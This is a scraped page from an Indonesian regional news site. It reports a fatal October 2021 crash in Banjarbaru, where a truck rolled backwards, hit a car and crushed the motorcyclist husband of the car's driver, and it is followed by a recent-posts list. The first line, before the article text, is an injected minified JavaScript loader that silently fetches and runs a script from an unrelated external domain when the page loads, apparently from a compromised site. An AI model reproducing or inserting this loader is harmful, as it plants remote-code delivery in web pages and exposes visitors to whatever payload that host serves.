(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

KRONOLOGI. Truk Fuso Maut di Sungai Ulin: Istri Sempat Telpon Suami, Ternyata Sudah Tewas Kaki Terlindas


KANALKALIMANTAN.COM, BANJARBARU – Kecelakaan maut terjadi di Kota Banjarbaru, pengendara motor tewas terlindas truk Fuso pengangkut besi rongsokan.

Kejadian yang menghilangkan nyawa itu terjadi sekitar pukul 04.30 Wita di Jalan Ir P M Noor depan Komplek Permata Hijau Kelurahan Sungai Ulin, Senin (25/10/2021).

Kapolres Banjarbaru AKBP Nur Khamid melalui Kasi Humas Polres Banjarbaru AKP Tajuddin Noor menerangkan, kecelakaan ini bermula ketika mobil truk Fuso dengan No Polisi L 8339 UF dikemudikan MG yang datang dari arah bundaran simpang empat Banjarbaru menuju arah Mandiangin menaiki sebuah jalan tanjakan.

“Mobil truk tidak mampu menanjak, sehingga mundur dan menabrak bagian depan mobil Toyota Agya, setelah mengenai Agya, truk tetap berjalan mundur dan menabrak sepeda motor Honda Scoopy yang dikemudikan Didiet Kriswidianto,” terangnya.

 

Baca juga : Penganugerahan Tiga Penulis Muda Banua, Randu: Ini Tradisi Baik Menghormati Penulis dan Karya Mereka

Kecelakaan tersebut mengakibatkan pengendara motor Didiet Kriswidianto meninggal dunia di tempat dengan keadaan kaki hancur, bagian perut terbuka, dada remuk dan dinyatakan meninggal dunia di tempat kejadian perkara.

Belakangan diketahui, korban meninggal dunia Didit Kriswidianto adalah suami dari pengmudi mobil Totoya Agya yang juga jadi korban truk naas itu.

Adalah Wahidah, pengemudi mobil Agya sedang membawa anak-anaknya dari Kelayan, Kota Banjarmasin menuju rumah kontrakan untuk anaknya tinggal.

Di perjalanan sang suami sempat memperingatkan kalau di depannya ada tanjakan. Didiga tidak kuat menanjak truk Fuso jalan mundur menabrak mobil yang ditumpangi Wahidah, kemudian melindas Honda Scoopy yang dibawa sang suami.

Wahidah sempat shock dan menelpon sang suami kalau mereka diserempet truk Fuso. Akan tetapi tidak ada jawaban dari sang suami, selang beberapa menit Wahidah sadar kalau yang menjadi korban di bawah kolong truk Fuso adalah suaminya dengan motor Scoopy yang dibawanya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

22 menit ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

2 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

2 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

3 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

4 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

6 jam ago

This website uses cookies.